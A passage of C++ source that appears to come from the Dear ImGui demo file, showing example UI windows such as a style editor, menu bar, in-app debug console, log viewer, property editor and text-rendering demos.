ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); if (ImGui::Button("Revert")) { style.Colors[i] = ref->Colors[i]; }
}
ImGui::SameLine(0.0f, style.ItemInnerSpacing.x);
ImGui::TextUnformatted(name);
ImGui::PopID();
}
ImGui::PopItemWidth();
ImGui::EndChild();
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Fonts"))
{
ImGuiIO& io = ImGui::GetIO();
ImFontAtlas* atlas = io.Fonts;
HelpMarker("Read FAQ and docs/FONTS.md for details on font loading.");
ImGui::PushItemWidth(120);
for (int i = 0; i < atlas->Fonts.Size; i++)
{
ImFont* font = atlas->Fonts[i];
ImGui::PushID(font);
NodeFont(font);
ImGui::PopID();
}
if (ImGui::TreeNode("Atlas texture", "Atlas texture (%dx%d pixels)", atlas->TexWidth, atlas->TexHeight))
{
ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f);
ImVec4 border_col = ImVec4(1.0f, 1.0f, 1.0f, 0.5f);
ImGui::Image(atlas->TexID, ImVec2((float)atlas->TexWidth, (float)atlas->TexHeight), ImVec2(0, 0), ImVec2(1, 1), tint_col, border_col);
ImGui::TreePop();
}
// Post-baking font scaling. Note that this is NOT the nice way of scaling fonts, read below.
// (we enforce hard clamping manually as by default DragFloat/SliderFloat allows CTRL+Click text to get out of bounds).
const float MIN_SCALE = 0.3f;
const float MAX_SCALE = 2.0f;
HelpMarker(
"Those are old settings provided for convenience.\n"
"However, the _correct_ way of scaling your UI is currently to reload your font at the designed size, "
"rebuild the font atlas, and call style.ScaleAllSizes() on a reference ImGuiStyle structure.\n"
"Using those settings here will give you poor quality results.");
static float window_scale = 1.0f;
if (ImGui::DragFloat("window scale", &window_scale, 0.005f, MIN_SCALE, MAX_SCALE, "%.2f", ImGuiSliderFlags_AlwaysClamp)) // Scale only this window
ImGui::SetWindowFontScale(window_scale);
ImGui::DragFloat("global scale", &io.FontGlobalScale, 0.005f, MIN_SCALE, MAX_SCALE, "%.2f", ImGuiSliderFlags_AlwaysClamp); // Scale everything
ImGui::PopItemWidth();
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Rendering"))
{
ImGui::Checkbox("Anti-aliased lines", &style.AntiAliasedLines);
ImGui::SameLine();
HelpMarker("When disabling anti-aliasing lines, you'll probably want to disable borders in your style as well.");
ImGui::Checkbox("Anti-aliased lines use texture", &style.AntiAliasedLinesUseTex);
ImGui::SameLine();
HelpMarker("Faster lines using texture data. Require back-end to render with bilinear filtering (not point/nearest filtering).");
ImGui::Checkbox("Anti-aliased fill", &style.AntiAliasedFill);
ImGui::PushItemWidth(100);
ImGui::DragFloat("Curve Tessellation Tolerance", &style.CurveTessellationTol, 0.02f, 0.10f, 10.0f, "%.2f");
if (style.CurveTessellationTol < 0.10f) style.CurveTessellationTol = 0.10f;
// When editing the "Circle Segment Max Error" value, draw a preview of its effect on auto-tessellated circles.
ImGui::DragFloat("Circle Segment Max Error", &style.CircleSegmentMaxError, 0.01f, 0.10f, 10.0f, "%.2f");
if (ImGui::IsItemActive())
{
ImGui::SetNextWindowPos(ImGui::GetCursorScreenPos());
ImGui::BeginTooltip();
ImVec2 p = ImGui::GetCursorScreenPos();
ImDrawList* draw_list = ImGui::GetWindowDrawList();
float RAD_MIN = 10.0f, RAD_MAX = 80.0f;
float off_x = 10.0f;
for (int n = 0; n < 7; n++)
{
const float rad = RAD_MIN + (RAD_MAX - RAD_MIN) * (float)n / (7.0f - 1.0f);
draw_list->AddCircle(ImVec2(p.x + off_x + rad, p.y + RAD_MAX), rad, ImGui::GetColorU32(ImGuiCol_Text), 0);
off_x += 10.0f + rad * 2.0f;
}
ImGui::Dummy(ImVec2(off_x, RAD_MAX * 2.0f));
ImGui::EndTooltip();
}
ImGui::SameLine();
HelpMarker("When drawing circle primitives with \"num_segments == 0\" tesselation will be calculated automatically.");
ImGui::DragFloat("Global Alpha", &style.Alpha, 0.005f, 0.20f, 1.0f, "%.2f"); // Not exposing zero here so user doesn't "lose" the UI (zero alpha clips all widgets). But application code could have a toggle to switch between zero and non-zero.
ImGui::PopItemWidth();
ImGui::EndTabItem();
}
ImGui::EndTabBar();
}
ImGui::PopItemWidth();
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Main Menu Bar / ShowExampleAppMainMenuBar()
//-----------------------------------------------------------------------------
// - ShowExampleAppMainMenuBar()
// - ShowExampleMenuFile()
//-----------------------------------------------------------------------------
// Demonstrate creating a "main" fullscreen menu bar and populating it.
// Note the difference between BeginMainMenuBar() and BeginMenuBar():
// - BeginMenuBar() = menu-bar inside current window (which needs the ImGuiWindowFlags_MenuBar flag!)
// - BeginMainMenuBar() = helper to create menu-bar-sized window at the top of the main viewport + call BeginMenuBar() into it.
static void ShowExampleAppMainMenuBar()
{
if (ImGui::BeginMainMenuBar())
{
if (ImGui::BeginMenu("File"))
{
ShowExampleMenuFile();
ImGui::EndMenu();
}
if (ImGui::BeginMenu("Edit"))
{
if (ImGui::MenuItem("Undo", "CTRL+Z")) {}
if (ImGui::MenuItem("Redo", "CTRL+Y", false, false)) {} // Disabled item
ImGui::Separator();
if (ImGui::MenuItem("Cut", "CTRL+X")) {}
if (ImGui::MenuItem("Copy", "CTRL+C")) {}
if (ImGui::MenuItem("Paste", "CTRL+V")) {}
ImGui::EndMenu();
}
ImGui::EndMainMenuBar();
}
}
// Note that shortcuts are currently provided for display only
// (future version will add explicit flags to BeginMenu() to request processing shortcuts)
static void ShowExampleMenuFile()
{
ImGui::MenuItem("(demo menu)", NULL, false, false);
if (ImGui::MenuItem("New")) {}
if (ImGui::MenuItem("Open", "Ctrl+O")) {}
if (ImGui::BeginMenu("Open Recent"))
{
ImGui::MenuItem("fish_hat.c");
ImGui::MenuItem("fish_hat.inl");
ImGui::MenuItem("fish_hat.h");
if (ImGui::BeginMenu("More.."))
{
ImGui::MenuItem("Hello");
ImGui::MenuItem("Sailor");
if (ImGui::BeginMenu("Recurse.."))
{
ShowExampleMenuFile();
ImGui::EndMenu();
}
ImGui::EndMenu();
}
ImGui::EndMenu();
}
if (ImGui::MenuItem("Save", "Ctrl+S")) {}
if (ImGui::MenuItem("Save As..")) {}
ImGui::Separator();
if (ImGui::BeginMenu("Options"))
{
static bool enabled = true;
ImGui::MenuItem("Enabled", "", &enabled);
ImGui::BeginChild("child", ImVec2(0, 60), true);
for (int i = 0; i < 10; i++)
ImGui::Text("Scrolling Text %d", i);
ImGui::EndChild();
static float f = 0.5f;
static int n = 0;
ImGui::SliderFloat("Value", &f, 0.0f, 1.0f);
ImGui::InputFloat("Input", &f, 0.1f);
ImGui::Combo("Combo", &n, "Yes\0No\0Maybe\0\0");
ImGui::EndMenu();
}
if (ImGui::BeginMenu("Colors"))
{
float sz = ImGui::GetTextLineHeight();
for (int i = 0; i < ImGuiCol_COUNT; i++)
{
const char* name = ImGui::GetStyleColorName((ImGuiCol)i);
ImVec2 p = ImGui::GetCursorScreenPos();
ImGui::GetWindowDrawList()->AddRectFilled(p, ImVec2(p.x + sz, p.y + sz), ImGui::GetColorU32((ImGuiCol)i));
ImGui::Dummy(ImVec2(sz, sz));
ImGui::SameLine();
ImGui::MenuItem(name);
}
ImGui::EndMenu();
}
// Here we demonstrate appending again to the "Options" menu (which we already created above)
// Of course in this demo it is a little bit silly that this function calls BeginMenu("Options") twice.
// In a real code-base using it would make senses to use this feature from very different code locations.
if (ImGui::BeginMenu("Options")) // <-- Append!
{
static bool b = true;
ImGui::Checkbox("SomeOption", &b);
ImGui::EndMenu();
}
if (ImGui::BeginMenu("Disabled", false)) // Disabled
{
IM_ASSERT(0);
}
if (ImGui::MenuItem("Checked", NULL, true)) {}
if (ImGui::MenuItem("Quit", "Alt+F4")) {}
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Debug Console / ShowExampleAppConsole()
//-----------------------------------------------------------------------------
// Demonstrate creating a simple console window, with scrolling, filtering, completion and history.
// For the console example, we are using a more C++ like approach of declaring a class to hold both data and functions.
struct ExampleAppConsole
{
char InputBuf[256];
ImVector<char*> Items;
ImVector<const char*> Commands;
ImVector<char*> History;
int HistoryPos; // -1: new line, 0..History.Size-1 browsing history.
ImGuiTextFilter Filter;
bool AutoScroll;
bool ScrollToBottom;
ExampleAppConsole()
{
ClearLog();
memset(InputBuf, 0, sizeof(InputBuf));
HistoryPos = -1;
// "CLASSIFY" is here to provide the test case where "C"+[tab] completes to "CL" and display multiple matches.
Commands.push_back("HELP");
Commands.push_back("HISTORY");
Commands.push_back("CLEAR");
Commands.push_back("CLASSIFY");
AutoScroll = true;
ScrollToBottom = false;
AddLog("Welcome to Dear ImGui!");
}
~ExampleAppConsole()
{
ClearLog();
for (int i = 0; i < History.Size; i++)
free(History[i]);
}
// Portable helpers
static int Stricmp(const char* s1, const char* s2) { int d; while ((d = toupper(*s2) - toupper(*s1)) == 0 && *s1) { s1++; s2++; } return d; }
static int Strnicmp(const char* s1, const char* s2, int n) { int d = 0; while (n > 0 && (d = toupper(*s2) - toupper(*s1)) == 0 && *s1) { s1++; s2++; n--; } return d; }
static char* Strdup(const char* s) { size_t len = strlen(s) + 1; void* buf = malloc(len); IM_ASSERT(buf); return (char*)memcpy(buf, (const void*)s, len); }
static void Strtrim(char* s) { char* str_end = s + strlen(s); while (str_end > s && str_end[-1] == ' ') str_end--; *str_end = 0; }
void ClearLog()
{
for (int i = 0; i < Items.Size; i++)
free(Items[i]);
Items.clear();
}
void AddLog(const char* fmt, ...) IM_FMTARGS(2)
{
// FIXME-OPT
char buf[1024];
va_list args;
va_start(args, fmt);
vsnprintf(buf, IM_ARRAYSIZE(buf), fmt, args);
buf[IM_ARRAYSIZE(buf) - 1] = 0;
va_end(args);
Items.push_back(Strdup(buf));
}
void Draw(const char* title, bool* p_open)
{
ImGui::SetNextWindowSize(ImVec2(520, 600), ImGuiCond_FirstUseEver);
if (!ImGui::Begin(title, p_open))
{
ImGui::End();
return;
}
// As a specific feature guaranteed by the library, after calling Begin() the last Item represent the title bar.
// So e.g. IsItemHovered() will return true when hovering the title bar.
// Here we create a context menu only available from the title bar.
if (ImGui::BeginPopupContextItem())
{
if (ImGui::MenuItem("Close Console"))
*p_open = false;
ImGui::EndPopup();
}
ImGui::TextWrapped(
"This example implements a console with basic coloring, completion (TAB key) and history (Up/Down keys). A more elaborate "
"implementation may want to store entries along with extra data such as timestamp, emitter, etc.");
ImGui::TextWrapped("Enter 'HELP' for help.");
// TODO: display items starting from the bottom
if (ImGui::SmallButton("Add Debug Text")) { AddLog("%d some text", Items.Size); AddLog("some more text"); AddLog("display very important message here!"); }
ImGui::SameLine();
if (ImGui::SmallButton("Add Debug Error")) { AddLog("[error] something went wrong"); }
ImGui::SameLine();
if (ImGui::SmallButton("Clear")) { ClearLog(); }
ImGui::SameLine();
bool copy_to_clipboard = ImGui::SmallButton("Copy");
//static float t = 0.0f; if (ImGui::GetTime() - t > 0.02f) { t = ImGui::GetTime(); AddLog("Spam %f", t); }
ImGui::Separator();
// Options menu
if (ImGui::BeginPopup("Options"))
{
ImGui::Checkbox("Auto-scroll", &AutoScroll);
ImGui::EndPopup();
}
// Options, Filter
if (ImGui::Button("Options"))
ImGui::OpenPopup("Options");
ImGui::SameLine();
Filter.Draw("Filter (\"incl,-excl\") (\"error\")", 180);
ImGui::Separator();
// Reserve enough left-over height for 1 separator + 1 input text
const float footer_height_to_reserve = ImGui::GetStyle().ItemSpacing.y + ImGui::GetFrameHeightWithSpacing();
ImGui::BeginChild("ScrollingRegion", ImVec2(0, -footer_height_to_reserve), false, ImGuiWindowFlags_HorizontalScrollbar);
if (ImGui::BeginPopupContextWindow())
{
if (ImGui::Selectable("Clear")) ClearLog();
ImGui::EndPopup();
}
// Display every line as a separate entry so we can change their color or add custom widgets.
// If you only want raw text you can use ImGui::TextUnformatted(log.begin(), log.end());
// NB- if you have thousands of entries this approach may be too inefficient and may require user-side clipping
// to only process visible items. The clipper will automatically measure the height of your first item and then
// "seek" to display only items in the visible area.
// To use the clipper we can replace your standard loop:
// for (int i = 0; i < Items.Size; i++)
// With:
// ImGuiListClipper clipper(Items.Size);
// while (clipper.Step())
// for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++)
// - That your items are evenly spaced (same height)
// - That you have cheap random access to your elements (you can access them given their index,
// without processing all the ones before)
// You cannot this code as-is if a filter is active because it breaks the 'cheap random-access' property.
// We would need random-access on the post-filtered list.
// A typical application wanting coarse clipping and filtering may want to pre-compute an array of indices
// or offsets of items that passed the filtering test, recomputing this array when user changes the filter,
// and appending newly elements as they are inserted. This is left as a task to the user until we can manage
// to improve this example code!
// If your items are of variable height:
// - Split them into same height items would be simpler and facilitate random-seeking into your list.
// - Consider using manual call to IsRectVisible() and skipping extraneous decoration from your items.
ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(4, 1)); // Tighten spacing
if (copy_to_clipboard)
ImGui::LogToClipboard();
for (int i = 0; i < Items.Size; i++)
{
const char* item = Items[i];
if (!Filter.PassFilter(item))
continue;
// Normally you would store more information in your item than just a string.
// (e.g. make Items[] an array of structure, store color/type etc.)
ImVec4 color;
bool has_color = false;
if (strstr(item, "[error]")) { color = ImVec4(1.0f, 0.4f, 0.4f, 1.0f); has_color = true; }
else if (strncmp(item, "# ", 2) == 0) { color = ImVec4(1.0f, 0.8f, 0.6f, 1.0f); has_color = true; }
if (has_color)
ImGui::PushStyleColor(ImGuiCol_Text, color);
ImGui::TextUnformatted(item);
if (has_color)
ImGui::PopStyleColor();
}
if (copy_to_clipboard)
ImGui::LogFinish();
if (ScrollToBottom || (AutoScroll && ImGui::GetScrollY() >= ImGui::GetScrollMaxY()))
ImGui::SetScrollHereY(1.0f);
ScrollToBottom = false;
ImGui::PopStyleVar();
ImGui::EndChild();
ImGui::Separator();
// Command-line
bool reclaim_focus = false;
ImGuiInputTextFlags input_text_flags = ImGuiInputTextFlags_EnterReturnsTrue | ImGuiInputTextFlags_CallbackCompletion | ImGuiInputTextFlags_CallbackHistory;
if (ImGui::InputText("Input", InputBuf, IM_ARRAYSIZE(InputBuf), input_text_flags, &TextEditCallbackStub, (void*)this))
{
char* s = InputBuf;
Strtrim(s);
if (s[0])
ExecCommand(s);
strcpy(s, "");
reclaim_focus = true;
}
// Auto-focus on window apparition
ImGui::SetItemDefaultFocus();
if (reclaim_focus)
ImGui::SetKeyboardFocusHere(-1); // Auto focus previous widget
ImGui::End();
}
void ExecCommand(const char* command_line)
{
AddLog("# %s\n", command_line);
// Insert into history. First find match and delete it so it can be pushed to the back.
// This isn't trying to be smart or optimal.
HistoryPos = -1;
for (int i = History.Size - 1; i >= 0; i--)
if (Stricmp(History[i], command_line) == 0)
{
free(History[i]);
History.erase(History.begin() + i);
break;
}
History.push_back(Strdup(command_line));
// Process command
if (Stricmp(command_line, "CLEAR") == 0)
{
ClearLog();
}
else if (Stricmp(command_line, "HELP") == 0)
{
AddLog("Commands:");
for (int i = 0; i < Commands.Size; i++)
AddLog("- %s", Commands[i]);
}
else if (Stricmp(command_line, "HISTORY") == 0)
{
int first = History.Size - 10;
for (int i = first > 0 ? first : 0; i < History.Size; i++)
AddLog("%3d: %s\n", i, History[i]);
}
else
{
AddLog("Unknown command: '%s'\n", command_line);
}
// On command input, we scroll to bottom even if AutoScroll==false
ScrollToBottom = true;
}
// In C++11 you'd be better off using lambdas for this sort of forwarding callbacks
static int TextEditCallbackStub(ImGuiInputTextCallbackData* data)
{
ExampleAppConsole* console = (ExampleAppConsole*)data->UserData;
return console->TextEditCallback(data);
}
int TextEditCallback(ImGuiInputTextCallbackData* data)
{
//AddLog("cursor: %d, selection: %d-%d", data->CursorPos, data->SelectionStart, data->SelectionEnd);
switch (data->EventFlag)
{
case ImGuiInputTextFlags_CallbackCompletion:
{
// Example of TEXT COMPLETION
// Locate beginning of current word
const char* word_end = data->Buf + data->CursorPos;
const char* word_start = word_end;
while (word_start > data->Buf)
{
const char c = word_start[-1];
if (c == ' ' || c == '\t' || c == ',' || c == ';')
break;
word_start--;
}
// Build a list of candidates
ImVector<const char*> candidates;
for (int i = 0; i < Commands.Size; i++)
if (Strnicmp(Commands[i], word_start, (int)(word_end - word_start)) == 0)
candidates.push_back(Commands[i]);
if (candidates.Size == 0)
{
// No match
AddLog("No match for \"%.*s\"!\n", (int)(word_end - word_start), word_start);
}
else if (candidates.Size == 1)
{
// Single match. Delete the beginning of the word and replace it entirely so we've got nice casing.
data->DeleteChars((int)(word_start - data->Buf), (int)(word_end - word_start));
data->InsertChars(data->CursorPos, candidates[0]);
data->InsertChars(data->CursorPos, " ");
}
else
{
// Multiple matches. Complete as much as we can..
// So inputing "C"+Tab will complete to "CL" then display "CLEAR" and "CLASSIFY" as matches.
int match_len = (int)(word_end - word_start);
for (;;)
{
int c = 0;
bool all_candidates_matches = true;
for (int i = 0; i < candidates.Size && all_candidates_matches; i++)
if (i == 0)
c = toupper(candidates[i][match_len]);
else if (c == 0 || c != toupper(candidates[i][match_len]))
all_candidates_matches = false;
if (!all_candidates_matches)
break;
match_len++;
}
if (match_len > 0)
{
data->DeleteChars((int)(word_start - data->Buf), (int)(word_end - word_start));
data->InsertChars(data->CursorPos, candidates[0], candidates[0] + match_len);
}
// List matches
AddLog("Possible matches:\n");
for (int i = 0; i < candidates.Size; i++)
AddLog("- %s\n", candidates[i]);
}
break;
}
case ImGuiInputTextFlags_CallbackHistory:
{
// Example of HISTORY
const int prev_history_pos = HistoryPos;
if (data->EventKey == ImGuiKey_UpArrow)
{
if (HistoryPos == -1)
HistoryPos = History.Size - 1;
else if (HistoryPos > 0)
HistoryPos--;
}
else if (data->EventKey == ImGuiKey_DownArrow)
{
if (HistoryPos != -1)
if (++HistoryPos >= History.Size)
HistoryPos = -1;
}
// A better implementation would preserve the data on the current input line along with cursor position.
if (prev_history_pos != HistoryPos)
{
const char* history_str = (HistoryPos >= 0) ? History[HistoryPos] : "";
data->DeleteChars(0, data->BufTextLen);
data->InsertChars(0, history_str);
}
}
}
return 0;
}
};
static void ShowExampleAppConsole(bool* p_open)
{
static ExampleAppConsole console;
console.Draw("Example: Console", p_open);
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Debug Log / ShowExampleAppLog()
//-----------------------------------------------------------------------------
// Usage:
// static ExampleAppLog my_log;
// my_log.AddLog("Hello %d world\n", 123);
// my_log.Draw("title");
struct ExampleAppLog
{
ImGuiTextBuffer Buf;
ImGuiTextFilter Filter;
ImVector<int> LineOffsets; // Index to lines offset. We maintain this with AddLog() calls.
bool AutoScroll; // Keep scrolling if already at the bottom.
ExampleAppLog()
{
AutoScroll = true;
Clear();
}
void Clear()
{
Buf.clear();
LineOffsets.clear();
LineOffsets.push_back(0);
}
void AddLog(const char* fmt, ...) IM_FMTARGS(2)
{
int old_size = Buf.size();
va_list args;
va_start(args, fmt);
Buf.appendfv(fmt, args);
va_end(args);
for (int new_size = Buf.size(); old_size < new_size; old_size++)
if (Buf[old_size] == '\n')
LineOffsets.push_back(old_size + 1);
}
void Draw(const char* title, bool* p_open = NULL)
{
if (!ImGui::Begin(title, p_open))
{
ImGui::End();
return;
}
// Options menu
if (ImGui::BeginPopup("Options"))
{
ImGui::Checkbox("Auto-scroll", &AutoScroll);
ImGui::EndPopup();
}
// Main window
if (ImGui::Button("Options"))
ImGui::OpenPopup("Options");
ImGui::SameLine();
bool clear = ImGui::Button("Clear");
ImGui::SameLine();
bool copy = ImGui::Button("Copy");
ImGui::SameLine();
Filter.Draw("Filter", -100.0f);
ImGui::Separator();
ImGui::BeginChild("scrolling", ImVec2(0, 0), false, ImGuiWindowFlags_HorizontalScrollbar);
if (clear)
Clear();
if (copy)
ImGui::LogToClipboard();
ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0));
const char* buf = Buf.begin();
const char* buf_end = Buf.end();
if (Filter.IsActive())
{
// In this example we don't use the clipper when Filter is enabled.
// This is because we don't have a random access on the result on our filter.
// A real application processing logs with ten of thousands of entries may want to store the result of
// search/filter.. especially if the filtering function is not trivial (e.g. reg-exp).
for (int line_no = 0; line_no < LineOffsets.Size; line_no++)
{
const char* line_start = buf + LineOffsets[line_no];
const char* line_end = (line_no + 1 < LineOffsets.Size) ? (buf + LineOffsets[line_no + 1] - 1) : buf_end;
if (Filter.PassFilter(line_start, line_end))
ImGui::TextUnformatted(line_start, line_end);
}
}
else
{
// The simplest and easy way to display the entire buffer:
// ImGui::TextUnformatted(buf_begin, buf_end);
// And it'll just work. TextUnformatted() has specialization for large blob of text and will fast-forward
// to skip non-visible lines. Here we instead demonstrate using the clipper to only process lines that are
// within the visible area.
// If you have tens of thousands of items and their processing cost is non-negligible, coarse clipping them
// on your side is recommended. Using ImGuiListClipper requires
// - A) random access into your data
// - B) items all being the same height,
// both of which we can handle since we an array pointing to the beginning of each line of text.
// When using the filter (in the block of code above) we don't have random access into the data to display
// anymore, which is why we don't use the clipper. Storing or skimming through the search result would make
// it possible (and would be recommended if you want to search through tens of thousands of entries).
ImGuiListClipper clipper;
clipper.Begin(LineOffsets.Size);
while (clipper.Step())
{
for (int line_no = clipper.DisplayStart; line_no < clipper.DisplayEnd; line_no++)
{
const char* line_start = buf + LineOffsets[line_no];
const char* line_end = (line_no + 1 < LineOffsets.Size) ? (buf + LineOffsets[line_no + 1] - 1) : buf_end;
ImGui::TextUnformatted(line_start, line_end);
}
}
clipper.End();
}
ImGui::PopStyleVar();
if (AutoScroll && ImGui::GetScrollY() >= ImGui::GetScrollMaxY())
ImGui::SetScrollHereY(1.0f);
ImGui::EndChild();
ImGui::End();
}
};
// Demonstrate creating a simple log window with basic filtering.
static void ShowExampleAppLog(bool* p_open)
{
static ExampleAppLog log;
// For the demo: add a debug button _BEFORE_ the normal log window contents
// We take advantage of a rarely used feature: multiple calls to Begin()/End() are appending to the _same_ window.
// Most of the contents of the window will be added by the log.Draw() call.
ImGui::SetNextWindowSize(ImVec2(500, 400), ImGuiCond_FirstUseEver);
ImGui::Begin("Example: Log", p_open);
if (ImGui::SmallButton("[Debug] Add 5 entries"))
{
static int counter = 0;
const char* categories[3] = { "info", "warn", "error" };
const char* words[] = { "Bumfuzzled", "Cattywampus", "Snickersnee", "Abibliophobia", "Absquatulate", "Nincompoop", "Pauciloquent" };
for (int n = 0; n < 5; n++)
{
const char* category = categories[counter % IM_ARRAYSIZE(categories)];
const char* word = words[counter % IM_ARRAYSIZE(words)];
log.AddLog("[%05d] [%s] Hello, current time is %.1f, here's a word: '%s'\n",
ImGui::GetFrameCount(), category, ImGui::GetTime(), word);
counter++;
}
}
ImGui::End();
// Actually call in the regular Log helper (which will Begin() into the same window as we just did)
log.Draw("Example: Log", p_open);
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Simple Layout / ShowExampleAppLayout()
//-----------------------------------------------------------------------------
// Demonstrate create a window with multiple child windows.
static void ShowExampleAppLayout(bool* p_open)
{
ImGui::SetNextWindowSize(ImVec2(500, 440), ImGuiCond_FirstUseEver);
if (ImGui::Begin("Example: Simple layout", p_open, ImGuiWindowFlags_MenuBar))
{
if (ImGui::BeginMenuBar())
{
if (ImGui::BeginMenu("File"))
{
if (ImGui::MenuItem("Close")) *p_open = false;
ImGui::EndMenu();
}
ImGui::EndMenuBar();
}
// Left
static int selected = 0;
{
ImGui::BeginChild("left pane", ImVec2(150, 0), true);
for (int i = 0; i < 100; i++)
{
char label[128];
sprintf(label, "MyObject %d", i);
if (ImGui::Selectable(label, selected == i))
selected = i;
}
ImGui::EndChild();
}
ImGui::SameLine();
// Right
{
ImGui::BeginGroup();
ImGui::BeginChild("item view", ImVec2(0, -ImGui::GetFrameHeightWithSpacing())); // Leave room for 1 line below us
ImGui::Text("MyObject: %d", selected);
ImGui::Separator();
if (ImGui::BeginTabBar("##Tabs", ImGuiTabBarFlags_None))
{
if (ImGui::BeginTabItem("Description"))
{
ImGui::TextWrapped("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ");
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Details"))
{
ImGui::Text("ID: 0123456789");
ImGui::EndTabItem();
}
ImGui::EndTabBar();
}
ImGui::EndChild();
if (ImGui::Button("Revert")) {}
ImGui::SameLine();
if (ImGui::Button("Save")) {}
ImGui::EndGroup();
}
}
ImGui::End();
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Property Editor / ShowExampleAppPropertyEditor()
//-----------------------------------------------------------------------------
static void ShowPlaceholderObject(const char* prefix, int uid)
{
// Use object uid as identifier. Most commonly you could also use the object pointer as a base ID.
ImGui::PushID(uid);
// Text and Tree nodes are less high than framed widgets, using AlignTextToFramePadding() we add vertical spacing to make the tree lines equal high.
ImGui::AlignTextToFramePadding();
bool node_open = ImGui::TreeNode("Object", "%s_%u", prefix, uid);
ImGui::NextColumn();
ImGui::AlignTextToFramePadding();
ImGui::Text("my sailor is rich");
ImGui::NextColumn();
if (node_open)
{
static float placeholder_members[8] = { 0.0f, 0.0f, 1.0f, 3.1416f, 100.0f, 999.0f };
for (int i = 0; i < 8; i++)
{
ImGui::PushID(i); // Use field index as identifier.
if (i < 2)
{
ShowPlaceholderObject("Child", 424242);
}
else
{
// Here we use a TreeNode to highlight on hover (we could use e.g. Selectable as well)
ImGui::AlignTextToFramePadding();
ImGuiTreeNodeFlags flags = ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_NoTreePushOnOpen | ImGuiTreeNodeFlags_Bullet;
ImGui::TreeNodeEx("Field", flags, "Field_%d", i);
ImGui::NextColumn();
ImGui::SetNextItemWidth(-1);
if (i >= 5)
ImGui::InputFloat("##value", &placeholder_members[i], 1.0f);
else
ImGui::DragFloat("##value", &placeholder_members[i], 0.01f);
ImGui::NextColumn();
}
ImGui::PopID();
}
ImGui::TreePop();
}
ImGui::PopID();
}
// Demonstrate create a simple property editor.
static void ShowExampleAppPropertyEditor(bool* p_open)
{
ImGui::SetNextWindowSize(ImVec2(430, 450), ImGuiCond_FirstUseEver);
if (!ImGui::Begin("Example: Property editor", p_open))
{
ImGui::End();
return;
}
HelpMarker(
"This example shows how you may implement a property editor using two columns.\n"
"All objects/fields data are dummies here.\n"
"Remember that in many simple cases, you can use ImGui::SameLine(xxx) to position\n"
"your cursor horizontally instead of using the Columns() API.");
ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2, 2));
ImGui::Columns(2);
ImGui::Separator();
// Iterate placeholder objects (all the same data)
for (int obj_i = 0; obj_i < 3; obj_i++)
ShowPlaceholderObject("Object", obj_i);
ImGui::Columns(1);
ImGui::Separator();
ImGui::PopStyleVar();
ImGui::End();
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Long Text / ShowExampleAppLongText()
//-----------------------------------------------------------------------------
// Demonstrate/test rendering huge amount of text, and the incidence of clipping.
static void ShowExampleAppLongText(bool* p_open)
{
ImGui::SetNextWindowSize(ImVec2(520, 600), ImGuiCond_FirstUseEver);
if (!ImGui::Begin("Example: Long text display", p_open))
{
ImGui::End();
return;
}
static int test_type = 0;
static ImGuiTextBuffer log;
static int lines = 0;
ImGui::Text("Printing unusually long amount of text.");
ImGui::Combo("Test type", &test_type,
"Single call to TextUnformatted()\0"
"Multiple calls to Text(), clipped\0"
"Multiple calls to Text(), not clipped (slow)\0");
ImGui::Text("Buffer contents: %d lines, %d bytes", lines, log.size());
if (ImGui::Button("Clear")) { log.clear(); lines = 0; }
ImGui::SameLine();
if (ImGui::Button("Add 1000 lines"))
{
for (int i = 0; i < 1000; i++)
log.appendf("%i The quick brown fox jumps over the lazy dog\n", lines + i);
lines += 1000;
}
ImGui::BeginChild("Log");
switch (test_type)
{
case 0:
// Single call to TextUnformatted() with a big buffer
ImGui::TextUnformatted(log.begin(), log.end());
break;
case 1:
{
// Multiple calls to Text(), manually coarsely clipped - demonstrate how to use the ImGuiListClipper helper.
ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0));
ImGuiListClipper clipper(lines);
while (clipper.Step())
for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++)
ImGui::Text("%i The quick brown fox jumps over the lazy dog", i);
ImGui::PopStyleVar();
break;
}
case 2:
// Multiple calls to Text(), not clipped (slow)
ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0));
for (int i = 0; i < lines; i++)
ImGui::Text("%i The quick brown fox jumps over the lazy dog", i);
ImGui::PopStyleVar();
break;
}
ImGui::EndChild();
ImGui::End();
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Auto Resize / ShowExampleAppAutoResize()
//-----------------------------------------------------------------------------
// Demonstrate creating a window which gets auto-resized according to its content.
static void ShowExampleAppAutoResize(bool* p_open)
{
if (!ImGui::Begin("Example: Auto-resizing window", p_open, ImGuiWindowFlags_AlwaysAutoResize))
{
ImGui::End();
return;
}
static int lines = 10;
ImGui::TextUnformatted(
"Window will resize every-frame to the size of its content.\n"
"Note that you probably don't want to query the window size to\n"
"output your content because that would create a feedback loop.");
ImGui::SliderInt("Number of lines", &lines, 1, 20);
for (int i = 0; i < lines; i++)
ImGui::Text("%*sThis is line %d", i * 4, "", i); // Pad with space to extend size horizontally
ImGui::End();
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Constrained Resize / ShowExampleAppConstrainedResize()
//-----------------------------------------------------------------------------
// Demonstrate creating a window with custom resize constraints.
static void ShowExampleAppConstrainedResize(bool* p_open)
{
struct CustomConstraints
{
// Helper functions to demonstrate programmatic constraints
static void Square(ImGuiSizeCallbackData* data) { data->DesiredSize.x = data->DesiredSize.y = IM_MAX(data->DesiredSize.x, data->DesiredSize.y); }
